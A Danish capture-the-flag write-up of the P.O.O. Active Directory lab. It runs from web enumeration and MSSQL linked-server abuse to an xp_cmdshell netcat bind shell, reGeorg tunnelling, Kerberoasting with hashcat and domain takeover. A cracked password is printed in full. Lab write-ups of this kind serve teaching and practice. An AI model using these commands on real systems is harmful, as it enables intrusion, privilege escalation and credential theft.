
I denne artikel vil vi gennemgå ikke bare en maskine, men et helt mini-laboratorium fra platformen .
Som beskrevet er P.O.O. beregnet til at teste færdigheder på alle stadier af angreb i et lille Active Directory-miljø. Målet er at kompromittere en tilgængelig vært, hæve privilegierne og i sidste ende kompromittere hele domenet, mens vi indsamler 5 flag.
Adgang til laboratoriet sker via VPN. Det anbefales ikke at oprette forbindelse fra en arbejdscomputer eller fra en vært, hvor du har vigtige data, da du bliver en del af et privat netværk med mennesker, der har forstand på IT-sikkerhed 🙂
Organisatorisk information
For at du kan få oplysninger om nye artikler, software og anden information, har jeg oprettet og inden for IuKBS. Dine personlige anmodninger, spørgsmål, forslag og anbefalinger .
Al information præsenteres udelukkende med uddannelsesmæssige formål. Forfatteren af dette dokument påtager sig intet ansvar for eventuelle skader, der måtte opstå som følge af anvendelsen af de viden og metoder, der opnås ved at studere dette dokument.
Intro
Denne endgame består af to maskiner og indeholder 5 flag.

Derudover gives der en beskrivelse og adresse til den tilgængelige vært.

Lad os begynde!
Recon flag
Denne maskine har IP-adressen 10.13.38.11, som jeg tilføjer til /etc/hosts.
10.13.38.11 poo.htb
Først scanner vi åbne porte. Da det tager lang tid at scanne alle porte med nmap, starter jeg med masscan. Vi scanner alle TCP- og UDP-porte fra tun0-interface med en hastighed på 500 pakker i sekundet.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Nu for at få mere detaljerede oplysninger om de tjenester, der kører på portene, vil vi udføre en scanning med -A optionen.
nmap -A poo.htb -p80,1433 
Hermed har vi IIS- og MSSQL-tjenester. Samtidig finder vi det virkelige DNS-navn for domænet og computeren. På webserveren mødes vi af IIS-hjemmesiden.

Lad os gennemgå mapperne. Jeg bruger gobuster til dette. I parametrene angiver vi antal tråde 128 (-t), URL (-u), ordbog (-w) og de udvidelser, der interesserer os (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Dermed har vi HTTP-godkendelse for mappen /admin samt en tilgængelig fil til skrivebordsstoplevelsen .DS_Store. .DS_Store er filer, hvori brugerindstillinger til mappen gemmes, såsom filnavneliste, placering af ikoner og valgte baggrundsbilleder. Sådanne filer kan finde vej til webserverens mapper hos webudviklere. Dermed kan vi få information om indholdet af kataloget. For dette kan vi bruge .
python3 dsstore_crawler.py -i http://poo.htb/ 
Vi modtager indholdet fra kataloget. Det mest interessante her er kataloget /dev, hvor vi i to grene kan kigge på kilderne og db-filerne. Men vi kan kun se de første 6 tegn i filnavnene og mapperne, hvis serveren er sårbar over for IIS ShortName. Denne sårbarhed kan tjekkes ved hjælp af .

Og vi finder en tekstfil, der starter med «poo_co». Uden at vide hvad jeg skal gøre videre, valgte jeg simpelthen ord fra ordbogen for mapper, som starter med «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtOg lad os gennemgå med wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Og vi finder et passende ord! Vi ser på denne fil, gemmer legitimationsoplysningerne (da parameteren DBNAME tyder på, at de er fra MSSQL).

Vi indleverer flaget, og vi avancerer med 20%.

Huh flag
Vi opretter forbindelse til MSSQL, jeg bruger DBeaver.

Vi finder ikke noget interessant i denne database, lad os oprette en SQL-editor og tjekke hvilke brugere der findes.
SELECT name FROM master..syslogins; 
Vi har to brugere. Lad os tjekke deres privilegier.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Derfor har vi ingen privilegier. Lad os se på de tilknyttede servere, jeg har skrevet om denne metode tidligere. .
SELECT * FROM master..sysservers; 
På denne måde finder vi endnu en SQL Server. Lad os tjekke udførelsen af kommandoer på denne server ved hjælp af openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Og vi kan endda bygge et træ af forespørgsler.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Faktisk er det sådan, at når vi udfører en forespørgsel på den tilknyttede server, så udføres forespørgslen i konteksten af en anden bruger! Lad os se, i hvilken kontekst vi arbejder på den tilknyttede server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Og lad os nu se, i hvilken kontekst forespørgsler fra den tilknyttede server til vores udføres!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Så det er DBO-konteksten, som bør have alle privilegierne. Lad os tjekke privilegierne i tilfælde af en forespørgsel fra den tilknyttede server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Som man kan se, har vi alle privilegier! Lad os skabe vores egen administrator. Men man kan ikke gøre det via openquery, så lad os gøre det via EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Og nu forbinder vi os med de nye brugeroplysninger og observerer den nye database flag.

Vi indleverer denne flag og går videre.

BackTrack flag
Vi får en shell via MSSQL, jeg bruger mssqlclient fra impacket-pakken.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Vi skal finde adgangskoder, og det første, vi allerede har mødt, er webstedet. Så vi har brug for konfigurationen af webserveren (det ser ud til, at det ikke er muligt at uploade en tilbøjelig shell, sandsynligvis på grund af en firewall).

Men adgangen er nægtet. Selvom vi kan læse filen fra MSSQL, skal vi blot vide, hvilke programmeringssprog der er konfigureret. Og i MSSQL-direktoriet finder vi ud af, at der er Python.

Så det er ikke noget problem at læse filen web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Med de fundne legitimationsoplysninger logger vi ind på \/admin og henter flaget.


Foothold flag
Der er nogle ulemper ved at bruge firewall, men ved at gennemgå netværksindstillingerne bemærker vi, at der også er IPv6-problemer!

Lad os tilføje denne adresse til \/etc\/hosts.
dead:babe::1001 poo6.htb
Lad os scanne værten igen, men via IPv6-protokollen.

Og WinRM-tjenesten er tilgængelig via IPv6. Vi logger ind med de fundne legitimationsoplysninger.

Der er et flag på skrivebordet, vi indleverer det.

P00ned flag
Efter at have udført rekognoscering på værten ved hjælp af finder vi ikke noget særligt. Så det blev besluttet at lede efter legitimationsoplysninger igen (om dette emne har jeg også skrevet ). Men jeg kunne ikke få alle SPN fra systemet via WinRM.
setspn.exe -T intranet.poo -Q *\* 
Lad os udføre kommandoen via MSSQL.

Den angivne metode giver os SPN for brugerne p00_hr og p00_adm, hvilket betyder, at de er sårbare overfor en angrebsmetode som Kerberoasting. Kort sagt kan vi få fat i hash-værdierne for deres adgangskoder.
For at starte skal vi få et stabilt shell under brugerens navn MSSQL. Men da vores adgang er begrænset, har vi kun forbindelse til værten gennem porte 80 og 1433. Men der er mulighed for at tunnelerer trafik gennem port 80! Til dette vil vi bruge . Vi uploader filen tunnel.aspx til hjemmemappen på webserveren — C:inetpubwwwroot.

Men når vi prøver at tilgå den, får vi en 404-fejl. Det betyder, at filer med *.aspx-udvidelsen ikke køres. For at sikre, at filer med denne udvidelse kan køres, installerer vi ASP.NET 4.5 på følgende måde.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Og nu når vi tilgår tunnel.aspx, får vi svaret, at alt er klar til brug.
![]()
Lad os starte klientdelen af applikationen, som skal retransmittere trafikken. Vi vil omdirigere al trafik fra port 5432 til serveren.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Og vi bruger proxychains til at sende trafikken fra enhver applikation gennem vores proxy. Vi tilføjer denne proxy til konfigurationsfilen /etc/proxychains.conf.

Nu uploader vi til serveren programmet , som vi kan bruge til at lave et stabilt bind shell, samt scriptet , som vi kan bruge til at udføre Kerberoasting-angrebet.

Nu starter vi lytteren gennem MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Og vi forbinder gennem vores proxy.
proxychains rlwrap nc poo.htb 4321 
Lad os få fat i hash-værdierne.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Dernæst skal vi brute-force disse hash-værdier. Da der ikke var nogen adgangskoder i rockyou-ordlisten, brugte jeg ALLE ordlister, der blev givet i Seclists. Til brute-force bruger vi hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceOg vi finder begge adgangskoder, den første i ordlisten dutch_passwordlist.txt og den anden i Keyboard-Combinations.txt.


Så vi har tre brugere, lad os gå til domænekontrolleren. Først finder vi dens adresse.

Fremragende, vi har fået IP-adressen til domænecontrolleren. Lad os finde alle domænebrugere samt udpege, hvem der er administrator. Vi vil downloade scriptet PowerView.ps1 for at få information. Derefter opretter vi forbindelse via evil-winrm, og angiver stien til scriptet i parameteren -s. Så vil vi blot uploade PowerView-scriptet.

Nu har vi adgang til alle dens funktioner. Brugeren p00_adm ligner en privilegeret bruger, så lad os arbejde i hans kontekst. Vi opretter et PSCredential-objekt for denne bruger.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNu vil alle PowerShell-kommandoer, hvor vi angiver Creds, blive udført i navnet på p00_adm. Lad os få vist listen over brugere og attributten AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Og ja, vores bruger er faktisk privilegeret. Lad os se, i hvilke grupper han er medlem af.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Vi bekræfter, at brugeren er domæneadministrator. Dette giver ham ret til at logge ind eksternt på domænecontrolleren. Lad os prøve at logge ind via WinRM ved hjælp af vores tunnel. Jeg blev forvirret af de fejl, der blev givet af reGeorg, når jeg brugte evil-winrm.

Så lad os bruge et andet, lettere til at oprette forbindelse til WinRM. Lad os åbne og ændre indstillingerne for forbindelsen.

Vi prøver at oprette forbindelse, og vi er inde i systemet.

Men der er ingen flag. Lad os tjekke brugeren og se på skrivebordsene.

Vi finder flaget hos mr3ks, og laboratoriet er gennemført med 100%.

Det var det hele. Som feedback, kommenter venligst — har du lært noget nyt af denne artikel, og var den nyttig for dig.
Du kan slutte dig til os i . Her kan du finde interessante materialer, lækkede kurser og software. Lad os skabe et fællesskab med folk, der har ekspertise inden for mange IT-områder, så vi altid kan hjælpe hinanden med eventuelle IT- og informationssikkerhedsspørgsmål.
Kilde: habr.com
